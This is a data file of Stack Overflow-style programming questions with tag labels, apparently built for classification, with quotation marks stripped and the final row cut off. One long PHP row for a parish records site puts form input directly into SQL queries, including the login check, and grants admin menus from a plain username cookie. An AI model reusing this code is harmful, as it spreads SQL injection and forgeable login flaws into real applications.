background shorthand  can these 3 properties be specified in shorthand:   <pre><code>background-position: center; background-repeat: no-repeat; background-size: cover; </code></pre>   i don;t want to specify color/url as it s done inline.,css
checking ok button is clicked on alert box  this the code for alerting some value:   <pre><code>alert( click the ok button now ! ); </code></pre>   so now i want to check whether the ok button is clicked or not.    how can i do this using this javascript,javascript
sql join question  i have 3 tables   <ol> <li><b>links</b><br/> link id<br/> link name<br/> groupid (fk into groups)<br/> subgroupid (fk into subgroups)<br/> <br/></li> <li> <b>groups</b><br/> groupid<br/> groupname<br/> </li> <li> <b>subgroup</b><br/> subgroupid<br/> subgroupname<br/> groupid (fk into groups)<br/> </li> </ol>   every link needs to have a groupid but teh subgroupid is optional.  how do i write a sql query to show: <br/>    <b>links.linkname  groups.groupname  subgroup.subgroupname<br/></b>    for the records with no subgroup just put a blank entry in that field.  if i have 250 link rows  i should get back 250 reecords from this query.    is there a way to do this in one query or do i need to do multiple queries,sql
function assigned to a variable  as a newbie i would like to know that if we do    <pre><code>function square(x) { return x*x; } </code></pre>   and    <pre><code>var s = square; square(4); </code></pre>   so basically the <code>s</code> is a new function in which the square function is copied  cause i am confused in this. please help.,javascript
check if argument is passed to a java script function  call to a js function    <pre><code>alertstatement() </code></pre>   function definition        <pre><code>function alertstatement(link) {     if (link) {         alert( a );          }      if (link!=null) {         alert( b );          }    } </code></pre>   both of these statements are working fine in windows env with tomcat  but none of them execute it on production (linux server). is there any other way to compare variables to make it working      i got it working using the following javascript code.   <pre><code>function alertstatement(link) {     if (link!==undefined){         alert( a );          } } </code></pre>   so at last undefined worked for me   for some reason null comparison didn t work,javascript
get element value  i have a nsstring like that  (in iphone application)   <pre><code>  nsstring *xmlstr =   &lt; xml version=1.0 encoding=utf-8&gt;                          &lt;information&gt;                              &lt;name&gt;john&lt;/name&gt;                              &lt;id&gt;435346534&lt;/id&gt;                              &lt;phone&gt;045635456&lt;/phone&gt;                              &lt;address&gt;new york&lt;/address&gt;                          &lt;/information&gt;   </code></pre>   how i can get elements value  (do i need convert to xml format and get elements value  or split string  any way please tell me )    thank you guys.,iphone
in html; why should <a> tag start inside a paragraph  but end outside of it   i was going through some alison.com materials on web development and one of their questions was:    true or false - the following code is formatted correctly.<br>   <pre><code>&lt;p&gt;&lt;br&gt; &lt;a href=  &gt;click here&lt;br&gt; &lt;/p&gt;&lt;br&gt; &lt;/a&gt; </code></pre>   the right answer is true.    but why the &lt; a > tags  ending-tag &lt; /a > is outside of the paragraph &lt; p > tag,html
is it possible to clear an individual apn from the notification center as it is for a local notification  if my app queues several local notifications  then after they are expired they will appear in the notification center history list (assuming the user hasn t disabled it of course).    when the user selects one of these notifications my app is able to delete that particular notification from the notification center.    i would like to be able to do the same thing with apns  is this possible,ios
sql practice: multiple order by  i m doing some practice questions with my teacher s given answers.    what i have so far:   <pre><code>select sup.supplierid  suppliername  sum(od.quantity)  as itemsupplied from suppliers as sup inner join products as p on sup.supplierid=p.supplierid  inner join orderdetails as od on p.productid=od.productid group by sup.supplierid order by itemsupplied desc  suppliername asc; </code></pre>   what my teacher s answer look like (the one with supplierid):    <a href= https://i.stack.imgur.com/kcsro.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/kcsro.jpg  alt= enter image description here ></a>    my problem is i m not having the same answer as the teacher s. which part i got wrong     i got it by  changing sum() to count(distinct [productid from orderdetails])  and order by this count(distinct [productid from orderdetails]) in desc first  then suppliername in asc:   <pre><code>select sup.supplierid  suppliername  count(distinct od.productid)  as itemsupplied from suppliers as sup inner join products as p on sup.supplierid=p.supplierid  inner join orderdetails as od on p.productid=od.productid group by sup.supplierid order by itemsupplied desc  suppliername asc; </code></pre>,sql
add another language to the website  first of all i would like to declare that i m an absolute amature in programming. i m doing this for school.     what i want to do is a create an icon in the top corner  like for example the swedish flag  and when they press on it  it will rederict to my  swedish  version.    any idea,html
what s wrong with this css   i tested the code in three browsers and it worked perfectly well    <strong>however</strong>  when i viewed it from another computer with slightly lower quality graphics the only thing that worked was the normal text colours and nothing else...    what s wrong with the code    <pre><code>body {               background: #cccccc;             }  td {                 font-family: arial;          }  table.border {               background: #0000ff;             }  .thead {                 background: #0000ff;     color: #ffffff;          }  .thead a {               color: #00ffff;              }  .thead a:hover {                 color: #ff0000;              }  .tbody {                 background: #ffffff;     color: #000000;          }  a {              color: #0000ff;          }  a:hover {                color: #ff0000;          }  input textarea {                 background: #ffffff;     border: solid 1px #0000ff;     color: #0000ff;          }  input.button {               background: #ffffff;     border: solid 1px #0000ff;     color: #0000ff;          } </code></pre>,css
ios implement video share which loacate in photos  i use <code>uiactivityviewcontroller</code> to implement email and message.   <pre><code>nsarray *activityitems; activityitems = @[[self.murl path] self.murl]; uiactivityviewcontroller *activitycontroller = [[uiactivityviewcontroller alloc] initwithactivityitems:activityitems                                   applicationactivities:nil];  [self presentviewcontroller:activitycontroller                    animated:yes completion:nil]; </code></pre>   but how can i implement below view  especially <strong>youtube</strong>  <strong>youku</strong>  and <strong>tudou</strong> on ios6,ios
pass paperclip image.url to json in a  joins  query in rails 4  i have here a query with joins.   <pre><code>def supported     render json: @posts = @user.funders.joins(:post =&gt; :photos).select( campaigns.*  funders.*  photos.* ).to_json end </code></pre>   model relationships:    <code>user</code> has many <code>funders</code>    <code>funder</code> belongs to <code>post</code>    <code>post</code> has many <code>photos</code>    yes i m getting the columns of <code>photo</code> model from the object  but can t seem to get the <code>url</code> of the image.   <pre><code>0: object $$hashkey:  012  anonymous: true post_id: 10 category:  fashion &amp; beauty  created_at:  2014-08-22t10:09:26.001z  description:  consequatur ab sapiente commodi officiis perferendis. deleniti ut vel consequatur. aut cupiditate rerum dicta sit quis.  donation_amount:  65792.0  end_at: null featured: false funding_goal:  32119495.0  id: 1 image_content_type:  image/jpeg  image_file_name:  img_20140729_005405_fotor.jpg  image_file_size: 1074766 image_updated_at:  2014-08-22t10:09:22.913z  name:  fintone  pledge: null quote:  delectus repudiandae quia ut dicta ex recusandae suscipit. deserunt accusamus autem. officiis eos adipisci vel id asperiores. quae deserunt et aut culpa.  reward_id: 49 slug:  fintone-1d4e8da8-db70-46c9-9c0c-0efef4d02871  start_at: null status:  captured  stripe_error: array[0] stripe_token:  920375637268007711  tagline:  deleniti ipsa id illum ut.  updated_at:  2014-08-22t10:09:26.001z  user_id: 1 video_url: null zip_code:  98116  </code></pre>   i ve tried to select <code>photos.image</code> but ain t got it working:   <pre><code>render json: @posts = @user.funders.joins(:post =&gt; :photos).select( campaigns.*  funders.*  photos.image ).to_json </code></pre>   is there any possible way to include paperclip image <code>url</code> to json     i m passing it as json object because i m using angularjs btw.,ruby-on-rails
gridview linkbutton code behind  until now  i was working with vs 2003 and recently migrated to vs 2008.  i am facing some peculiar problems.    in vs 2003 i had a datagrid  and one of the field was <code>buttonfield</code>(link button).  it was not a template field.  the user clicks on the field and some data gets generated.    i have written a code  in vb  like this  on <code>dg_itemcommand</code>:   <pre><code>strid = ctype(e.commandsource linkbutton).text </code></pre>   now i want to use same method for the gridview (i think datagrid is gridview in 2008).  i wrote a code like this on <code>dg_rowcomand</code>   <pre><code>private sub dgsamplecustomer_rowcommand(byval sender as object  byval e as system.web.ui.webcontrols.gridviewcommandeventargs) handles dgsamplecustomer.rowcommand    try      dim strid as string      dim i as integer     strid = ctype(e.commandsource  linkbutton).text ... </code></pre>   it is throwing a error.   <blockquote>    unable to cast object of type  system.web.ui.webcontrols.gridview  to   type  system.web.ui.webcontrols.buttonfield .  </blockquote>   can anybody help me out!,asp.net
values inside the checkboxes won t save into the database  good day  everyone.     i have a problem where whenever i check one of the checkboxes and add the records  the values don t show up into the database. i ve been struggling with this problem for a couple of days now and i hope that ou guys could help me.    thanks a lot!   <pre><code>&lt; php  include( config/config1.php );  if(isset($_session[ username ])) {     //header( location: home.php );     $message =  login first! ; echo  &lt;script type= text/javascript &gt;alert( $message );&lt;/script&gt; ; }   &gt;  &lt;!doctype html&gt; &lt;!-- priest records --&gt; &lt; php if(isset($_post[ validatefirstname ])) {        include( config/config1.php );     global $conn; /* para makuha ang variable galing sa config/config1. */     $p_firstname = $_post[ validatefirstname ];     $p_middlename = $_post[ validatemiddlename ];     $p_lastname = $_post[ validatelastname ];     $p_birthdate = $_post[ validatebirthdate ];     $p_description = $_post[ validatedescription ];      $par_name = $_post[ parish_name ];     $par_add = $_post[ parish_address ];      $parish1 = $_post[ priest_parish[] ];      //echo ($p_middlename);     //echo ($p_lastname);     //echo ($p_birthdate);      /****       query       ****/     $insrtpriest = mysqli_query($conn   insert into priest (priest_lastname priest_firstname priest_middlename birthdate  description) values ( $p_lastname   $p_firstname   $p_middlename   $p_birthdate    $p_description ) );      $select =  select idpriest from priest where priest_lastname =  $p_lastname  and priest_firstname =  $p_firstname  and priest_middlename =  $p_middlename  and birthdate =  $p_birthdate  and desciption =  $p_description ; ;      mysqli_query($conn   insert into parish_assignment values( $par       ish1    $select ) );       //$select = mysqli_fetch_array(mysqli_query($conn   select idpriest from priest where priest_lastname =  $p_lastname  and priest_middlename =  $p_middlename  and priest_firstname =  $p_firstname  and birthdate =  $p_birthdate  and description =  $p_description  ));        /*mysqli_query($conn   insert into parish_assignment     values( $select   $select2 ) );*/      echo  &lt;script language= javascript &gt; ;     echo  alert( data saved! ) ;     echo  &lt;/script&gt; ;      mysqli_close($conn);     header( location: priest records.php ); }  &gt; &lt;html lang= en &gt;     &lt;head&gt;         &lt;script src= js/bootstrap.min.js &gt;&lt;/script&gt;         &lt;script src= js/jquery.js &gt;&lt;/script&gt;         &lt;script src= js/smoothscroll.js &gt;&lt;/script&gt;          &lt;meta http-equiv= content-type  content= text/html; charset=utf-8 &gt;         &lt;meta charset= utf-8 &gt;         &lt;title&gt;priest records&lt;/title&gt;         &lt;meta name= generator  content= bootply  /&gt;         &lt;meta name= viewport  content= width=device-width  initial-scale=1  maximum-scale=1 &gt;         &lt;link href= css/bootstrap.min.css  rel= stylesheet &gt;         &lt;link href= css/table1.css  rel= stylesheet &gt;         &lt;!--[if lt ie 9]&gt;             &lt;script src= //html5shim.googlecode.com/svn/trunk/html5.js &gt;&lt;/script&gt;         &lt;![endif]--&gt;           &lt;link href= css/styles.css  rel= stylesheet &gt;     &lt;/head&gt;     &lt;body&gt; &lt;div class= navbar-wrapper &gt;   &lt;div class= container &gt;     &lt;div class= navbar navbar-inverse navbar-static-top &gt;             &lt;ul class= nav navbar-nav &gt;             &lt;li&gt;&lt;a href= home.php &gt;home&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= about.php &gt;about us&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= reservations.php &gt;reservations&lt;/a&gt;&lt;/li&gt;              &lt; php              //echo  &lt;script type= text/javascript &gt;alert(  .$_post[ userout ].  );&lt;/script&gt; ;             if(isset($_cookie[ username ]))                 if($_cookie[ username ] ==  admin ){                        echo    &lt;li class= dropdown &gt;                           &lt;a href= sacraments.php  class= dropdown-toggle  data-toggle= dropdown &gt;sacraments &lt;b class= caret &gt;&lt;/b&gt;&lt;/a&gt;                           &lt;ul class= dropdown-menu &gt;                             &lt;li&gt;&lt;a href= baptism.php &gt;baptism&lt;/a&gt;&lt;/li&gt;                             &lt;li&gt;&lt;a href= confirmation.php &gt;confirmation&lt;/a&gt;&lt;/li&gt;                             &lt;li&gt;&lt;a href= checkmarriage.php &gt;marriage&lt;/a&gt;&lt;/li&gt;                           &lt;/ul&gt;                         &lt;/li&gt;                         &lt;li class= dropdown &gt;                           &lt;a href= #  class= dropdown-toggle  data-toggle= dropdown &gt;records &lt;b class= caret &gt;&lt;/b&gt;&lt;/a&gt;                           &lt;ul class= dropdown-menu &gt;                             &lt;li&gt;&lt;a href= baptism records.php &gt;baptism records&lt;/a&gt;&lt;/li&gt;                             &lt;li&gt;&lt;a href= confirmation records.php &gt;confirmation records&lt;/a&gt;&lt;/li&gt;                             &lt;li&gt;&lt;a href= marriage records.php &gt;marriage records&lt;/a&gt;&lt;/li&gt;                             &lt;li&gt;&lt;a href= priest records.php &gt;priest records&lt;/a&gt;&lt;/li&gt;                           &lt;/ul&gt;                         &lt;/li&gt;                         &lt;li&gt;&lt;a href= certificates.php &gt;certificates&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= reports.php &gt;reports&lt;/a&gt;&lt;/li&gt; ;                  }                     elseif($_cookie[ username ] ==  secretary ) {                          echo    &lt;li class= dropdown &gt;                           &lt;a href= sacraments.php  class= dropdown-toggle  data-toggle= dropdown &gt;sacraments &lt;b class= caret &gt;&lt;/b&gt;&lt;/a&gt;                           &lt;ul class= dropdown-menu &gt;                             &lt;li&gt;&lt;a href= baptism.php &gt;baptism&lt;/a&gt;&lt;/li&gt;                             &lt;li&gt;&lt;a href= confirmation.php &gt;confirmation&lt;/a&gt;&lt;/li&gt;                             &lt;li&gt;&lt;a href= checkmarriage.php &gt;marriage&lt;/a&gt;&lt;/li&gt;                           &lt;/ul&gt;                         &lt;/li&gt;                         &lt;li class= dropdown &gt;                           &lt;a href= #  class= dropdown-toggle  data-toggle= dropdown &gt;records &lt;b class= caret &gt;&lt;/b&gt;&lt;/a&gt;                           &lt;ul class= dropdown-menu &gt;                             &lt;li&gt;&lt;a href= baptism records.php &gt;baptism records&lt;/a&gt;&lt;/li&gt;                             &lt;li&gt;&lt;a href= confirmation records.php &gt;confirmation records&lt;/a&gt;&lt;/li&gt;                             &lt;li&gt;&lt;a href= marriage records.php &gt;marriage records&lt;/a&gt;&lt;/li&gt;                             &lt;li&gt;&lt;a href= priest records.php &gt;priest records&lt;/a&gt;&lt;/li&gt;                           &lt;/ul&gt;                         &lt;/li&gt;                         &lt;li&gt;&lt;a href= certificates.php &gt;certificates&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= reports.php &gt;reports&lt;/a&gt;&lt;/li&gt; ;                      }                     elseif ($_cookie[ username ] ==  treasurer ) {                          echo   &lt;li&gt;&lt;a href= certificates.php &gt;certificates&lt;/a&gt;&lt;/li&gt; ;                      }                     elseif ($_cookie[ username ] ==  priest ) {                          echo   &lt;li&gt;&lt;a href= reports.php &gt;reports&lt;/a&gt;&lt;/li&gt; ;                      }                 &gt;              &lt;!-- login stuff--&gt;             &lt; php             //if no values  username + password + login button are present; otherwise  no.             if(!isset($_cookie[ username ])&amp;&amp; !isset($_post[ userout ])&amp;&amp; !isset($_post[ passout ])){  &gt;                 &lt;li&gt;                         &lt;!-- your login link --&gt;                                     &lt;form id= login_form  name= login_form  class = navbar-form navbar-right  method= post  action= &lt; php echo $_server[ php_self ]; &gt; &gt;                         &lt;div class= form-group &gt;                             &lt;input type= text  class= form-control  name= userin  placeholder= username  /&gt;                         &lt;/div&gt;                          &lt;div class= form-group &gt;                             &lt;input type= password  class= form-control  name= passin  placeholder= password  /&gt;                         &lt;/div&gt;                     &lt;input type= button  value= log in  onclick= validatelogin() /&gt;                     &lt;/form&gt;                     &lt;form name= login_click  method= post  action= &lt; php $_server[ php_self ];  &gt; &gt;                         &lt;input type= hidden  name= userout  id= userout  value=  &gt;                         &lt;input type= hidden  name= passout  id= passout  value=  &gt;                     &lt;/form&gt;                 &lt;/li&gt;                  &lt; php                  }  &gt;               &lt; php             if(isset($_cookie[ username ])){  &gt;                 &lt;li&gt;                     &lt;form name= log_out  method= post  class=  navbar-form navbar-right  action= &lt; php $_server[ php_self ];  &gt; &gt;                     &lt;input type= submit  name= logout  id= logout  value= log out &gt;                     &lt;/form&gt;                 &lt;/li&gt;                 &lt; php             }              if(isset($_post[ userout ])&amp;&amp;isset($_post[ passout ])){                  $username = $_post[ userout ];                  $password = $_post[ passout ];                  $selectsql=mysqli_query($conn  select * from user where username =  $username and password =  $password  );                 if(mysqli_fetch_array($selectsql)&lt;1){                        header( refresh: 2; url=home.php );                     echo  error username or password ;                 }                 else{                     setcookie( username   $username  time() + 9000   / );                     header( refresh: 0; url=home.php );                 }             }             if(isset($_post[ logout ])) {                 setcookie( username      time() + 0   / );                 header( refresh: 0; url=home.php );             }              &gt;            &lt;/ul&gt;         &lt;/div&gt;      &lt;/div&gt;   &lt;/div&gt;&lt;!-- /container --&gt; &lt;/div&gt;&lt;!-- /navbar wrapper --&gt;   &lt;!-- carousel ================================================== --&gt; &lt;div id= mycarousel  class= carousel slide  name= top &gt;   &lt;!-- indicators --&gt;   &lt;ol class= carousel-indicators &gt;     &lt;li data-target= #mycarousel  data-slide-to= 0  class= active &gt;&lt;/li&gt;     &lt;li data-target= #mycarousel  data-slide-to= 1 &gt;&lt;/li&gt;     &lt;li data-target= #mycarousel  data-slide-to= 2 &gt;&lt;/li&gt;   &lt;/ol&gt;   &lt;div class= carousel-inner &gt;     &lt;div class= item active &gt;       &lt;img src= pic/love.jpg  style= width:100%  class= img-responsive &gt;       &lt;div class= container &gt;         &lt;div class= carousel-caption &gt;           &lt;h1&gt;bootstrap 3 carousel layout&lt;/h1&gt;           &lt;p&gt;&lt;/p&gt;         &lt;/p&gt;         &lt;/div&gt;       &lt;/div&gt;     &lt;/div&gt;     &lt;div class= item &gt;       &lt;img src= http://lorempixel.com/2000/600/abstract/1  class= img-responsive &gt;       &lt;div class= container &gt;         &lt;div class= carousel-caption &gt;           &lt;h1&gt;changes to the grid&lt;/h1&gt;           &lt;p&gt;bootstrap 3 still features a 12-column grid  but many of the css class names have completely changed.&lt;/p&gt;         &lt;/div&gt;       &lt;/div&gt;     &lt;/div&gt;     &lt;div class= item &gt;       &lt;img src= http://placehold.it/1500x500  class= img-responsive &gt;       &lt;div class= container &gt;         &lt;div class= carousel-caption &gt;           &lt;h1&gt;percentage-based sizing&lt;/h1&gt;           &lt;p&gt;with  mobile-first  there is now only one percentage-based grid.&lt;/p&gt;           &lt;p&gt;&lt;/p&gt;         &lt;/div&gt;       &lt;/div&gt;     &lt;/div&gt;   &lt;/div&gt;   &lt;!-- controls --&gt;   &lt;a class= left carousel-control  href= #mycarousel  data-slide= prev &gt;     &lt;span class= icon-prev &gt;&lt;/span&gt;   &lt;/a&gt;   &lt;a class= right carousel-control  href= #mycarousel  data-slide= next &gt;     &lt;span class= icon-next &gt;&lt;/span&gt;   &lt;/a&gt;   &lt;/div&gt; &lt;!-- /.carousel --&gt;   &lt;div class= right_col  role= main &gt;     &lt;div class= row &gt;          &lt;div class= col-md-12 col-sm-12 col-xs-12  style= width:100%; margin:0 auto; &gt;             &lt;div class= x_panel &gt;                   &lt;div class= x_title &gt;                     &lt;h2&gt;&lt;center&gt;&lt;b&gt;priest&lt;/b&gt;&lt;/center&gt;&lt;small&gt;&lt;/small&gt;&lt;/h2&gt;                      &lt;ul class= nav navbar-right panel_toolbox &gt;                         &lt;li&gt;&lt;/li&gt;                         &lt;li&gt;&lt;/li&gt;                         &lt;li&gt;&lt;/li&gt;                     &lt;/ul&gt;                     &lt;div class= clearfix &gt;&lt;/div&gt;                 &lt;/div&gt;                  &lt;div class= x_content &gt;              &lt;form class= form-horizontal form-label-left  &gt;                          &lt;input type= hidden  name= submitted  value= true /&gt;                          &lt;center&gt;     &lt;div class= right_col tablestyle  style= overflow-x:auto; width=100%  role= main &gt;         &lt;table&gt;             &lt;thead&gt;               &lt;tr&gt;                 &lt;th&gt;firstname&lt;/th&gt;                 &lt;th&gt;middlename&lt;/th&gt;                 &lt;th&gt;lastname&lt;/th&gt;                 &lt;th&gt;birthday&lt;/th&gt;                 &lt;th&gt;description&lt;/th&gt;                 &lt;th&gt;&lt;/th&gt;               &lt;/tr&gt;             &lt;/thead&gt;              &lt; php                 include( config/config1.php );                 $priestlist = mysqli_query($conn  select * from priest where idpriest is not null );                  &gt;                  &lt;tbody&gt;                 &lt; php                     while($row = mysqli_fetch_array($priestlist))                     {                  &gt;                               &lt;tr&gt;                             &lt;td&gt;&lt; php echo $row[ priest_firstname ]; &gt;&lt;/td&gt;                             &lt;td&gt;&lt; php echo $row[ priest_middlename ]; &gt;&lt;/td&gt;                             &lt;td&gt;&lt; php echo $row[ priest_lastname ]; &gt;&lt;/td&gt;                             &lt;td&gt;&lt; php echo $row[ birthdate ]; &gt;&lt;/td&gt;                             &lt;td&gt;&lt; php echo $row[ description ]; &gt;&lt;/td&gt;                              &lt;!--save info--&gt;                             &lt;td&gt;&lt;form name= edit  method= post  action= editpriest.php  &gt;                                 &lt;input type= hidden  id= editpriest  name= editpriest  value= &lt; php echo $row[ idpriest ];  &gt; &gt;                                 &lt;input type= submit  name= button  value= edit &gt;                                 &lt;/form&gt;                             &lt;/td&gt;                          &lt;/tr&gt;                 &lt; php                                }                  &gt;                 &lt;/tbody&gt;         &lt;/table&gt;     &lt;/div&gt; &lt;/center&gt;                          &lt;div class= item form-group &gt;                             &lt;label class= control-label col-md-3 col-sm-3 col-xs-12 &gt;first name &lt;span class= required &gt;*&lt;/span&gt;&lt;/label&gt;                             &lt;div class= col-md-6 col-sm-6 col-xs-12 &gt;                                 &lt;input id= firstname  class= form-control col-md-7 col-xs-12  name= firstname  placeholder= first name  required= required  type= text  value=  /&gt;                             &lt;/div&gt;                         &lt;/div&gt;                          &lt;div class= item form-group &gt;                             &lt;label class= control-label col-md-3 col-sm-3 col-xs-12  for= name &gt;middle name &lt;span class= required &gt;*&lt;/span&gt;&lt;/label&gt;                             &lt;div class= col-md-6 col-sm-6 col-xs-12 &gt;                                 &lt;input id= middlename  class= form-control col-md-7 col-xs-12  name= middlename  placeholder= middle name  required= required  type= text /&gt;                             &lt;/div&gt;                         &lt;/div&gt;                          &lt;div class= item form-group &gt;                             &lt;label class= control-label col-md-3 col-sm-3 col-xs-12  for= name &gt;lastname name &lt;span class= required &gt;*&lt;/span&gt;&lt;/label&gt;                             &lt;div class= col-md-6 col-sm-6 col-xs-12 &gt;                                 &lt;input id= lastname  class= form-control col-md-7 col-xs-12  name= lastname  placeholder= last name  required= required  type= text /&gt;                             &lt;/div&gt;                         &lt;/div&gt;                          &lt;div class= item form-group &gt;                             &lt;label class= control-label col-md-3 col-sm-3 col-xs-12  for= name &gt;birthdate &lt;span class= required &gt;*&lt;/span&gt;&lt;/label&gt;                             &lt;div class= col-md-6 col-sm-6 col-xs-12 &gt;                                 &lt;input id= birthdate  class= datepicker form-control col-md-7 col-xs-12  name= birthdate  placeholder= select date  required= required  type= date /&gt;                             &lt;/div&gt;                         &lt;/div&gt;                          &lt;div class= form-group &gt;                             &lt;label class= control-label col-md-3 col-sm-3 col-xs-12  for= name  &gt;description &lt;span class= required &gt;*&lt;/span&gt;&lt;/label&gt;                                 &lt;div class= col-md-6 col-sm-6 col-xs-12  &gt;                                      &lt;select name= description  id= description  class= form-control  required= required  style= width:150px &gt;                                                &lt;option value= parish priest  &gt;parish priest&lt;/option&gt;                                         &lt;option value= parochial vicars  &gt;parochial vicars&lt;/option&gt;                                         &lt;option value= resident priest  &gt;resident priest&lt;/option&gt;                                         &lt;option value= guest priest  &gt;guest priest&lt;/option&gt;                                     &lt;/select&gt;                                  &lt;/div&gt;                         &lt;/div&gt;                          &lt;div class= item form-group &gt;                             &lt;label class= control-label col-md-3 col-sm-3 col-xs-12 &gt;parish assginment&lt;/label&gt;                                 &lt;div class= col-md6 col-sm-6 col-xs-12 &gt;                                     &lt;form action=    method= post  &gt;                                     &lt;table&gt;                                         &lt;tr&gt;                                          &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 2  value= 2 &gt; ascension of the lord parish&lt;/td&gt;                                         &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 24  value= 24 &gt; birhen dolorosa parish&lt;/td&gt;                                         &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id = 23  value= 23 &gt; blessed john paul ii parish&lt;/td&gt;                                          &lt;/tr&gt;                                         &lt;tr&gt;                                           &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 21  value= 21 &gt; holy family parish&lt;/td&gt;                                         &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 15  value= 15 &gt; immaculate conception paris&lt;/td&gt;                                         &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 31  value= 31 &gt;mary  help of christian parish&lt;/td&gt;                                          &lt;/tr&gt;                                         &lt;tr&gt;                                          &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 29  value= 29 &gt;our lady of fatima parish&lt;/td&gt;                                         &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 3  value= 3 &gt;our lady of lourdes parish&lt;/td&gt;                                         &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 14  value= 14 &gt;our lady of the assumption parish &lt;/td&gt;                                          &lt;/tr&gt;                                         &lt;tr&gt;                                          &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 27  value= 27 &gt;our lady of the miraculous medal parish &lt;/td&gt;                                         &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 18  value= 18 &gt;our mother of perpetual help &lt;/td&gt;                                         &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 30  value= 30 &gt;sacred heart of jesus parish &lt;/td&gt;                                          &lt;/tr&gt;                                         &lt;tr&gt;                                          &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 4  value= 4 &gt;saint francis of assisi parish &lt;/td&gt;                                         &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 12  value= 12 &gt;saint francis of assisi quasi-parish &lt;/td&gt;                                         &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 8  value= 8 &gt;saint francis xavier parish &lt;/td&gt;                                           &lt;/tr&gt;                                         &lt;tr&gt;                                          &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 9  value= 9 &gt;saint james the apostle parish &lt;/td&gt;                                         &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 10  value= 10 &gt;saint john the baptist parish &lt;/td&gt;                                         &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 11  value= 11 &gt;saint joseph the worker parish &lt;/td&gt;                                          &lt;/tr&gt;                                         &lt;tr&gt;                                          &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 22  value= 22 &gt;saint jude thaddeus parish &lt;/td&gt;                                         &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 25  value= 25 &gt;saint mary of the perpetual rosary parish &lt;/td&gt;                                         &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 20  value= 20 &gt;san alfonso de ligouri parish &lt;/td&gt;                                          &lt;/tr&gt;                                         &lt;tr&gt;                                          &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 32  value= 32 &gt;san antonio de padua parish &lt;/td&gt;                                         &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 25  value= 25 &gt;san francisco de asis &lt;/td&gt;                                         &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 5  value= 5 &gt;san isidro labrador parish &lt;/td&gt;                                          &lt;/tr&gt;                                         &lt;tr&gt;                                          &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 16  value= 16 &gt;san lorenzo ruiz parish &lt;/td&gt;                                         &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 7  value= 7 &gt;san miguel parish &lt;/td&gt;                                         &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 1  value= 1 &gt;san pablo parish &lt;/td&gt;                                          &lt;/tr&gt;                                         &lt;tr&gt;                                          &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 13  value= 13 &gt;san pablo cathedral &lt;/td&gt;                                         &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 36  value= 36 &gt;san roque parish &lt;/td&gt;                                         &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 34  value= 34 &gt;santa ana shrine parish &lt;/td&gt;                                          &lt;/tr&gt;                                         &lt;tr&gt;                                          &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 28  value= 28 &gt;santo niño parish &lt;/td&gt;                                         &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 17  value= 17 &gt;santo rosario parish &lt;/td&gt;                                         &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 6  value= 6 &gt;shrine of the most holy infant of prague &lt;/td&gt;                                          &lt;/tr&gt;                                         &lt;tr&gt;                                          &lt;td&gt;&lt;input type= checkbox  name= priest_parish[]  id= 19  value= 19 &gt;virgen delos remedios parish &lt;/td&gt;                                          &lt;/tr&gt;                                         &lt;/table&gt;                            &lt;div class= ln_solid &gt;&lt;/div&gt;                             &lt;div class= form-group &gt;                                 &lt;div class= col-md-6 col-md-offset-3 &gt;                                     &lt;input type= button  class= btn btn-primary submits  value= add record  onclick= validpriest() &gt;&lt;/input&gt;                                 &lt;/div&gt;                           &lt;/div&gt;         &lt;/div&gt;             &lt;/form&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt;          &lt;div&gt;           &lt;!-- footer --&gt;           &lt;footer&gt;             &lt;p class= pull-right &gt;&lt;a href= #top  class= smoothscroll &gt;back to top&lt;/a&gt;&lt;/p&gt;             &lt;p&gt;&lt;a href= http://www.bootply.com/62603 &gt;bootply.com&lt;/a&gt;&lt;/p&gt;           &lt;/footer&gt;          &lt;/div&gt;  &lt;!-- /.container --&gt;         &lt;!-- script references --&gt;         &lt;script src= //ajax.googleapis.com/ajax/libs/jquery/2.0.2/jquery.min.js &gt;&lt;/script&gt;         &lt;script src= js/bootstrap.min.js &gt;&lt;/script&gt;           &lt;form name= validate  method= post  action= priest records.php  id= validation  &gt;                &lt;input type= hidden  value=   id= validatefirstname  name= validatefirstname &gt;              &lt;input type= hidden  value=   id= validatemiddlename  name= validatemiddlename &gt;              &lt;input type= hidden  value=   id= validatelastname  name= validatelastname &gt;                      &lt;!--uv info--&gt;             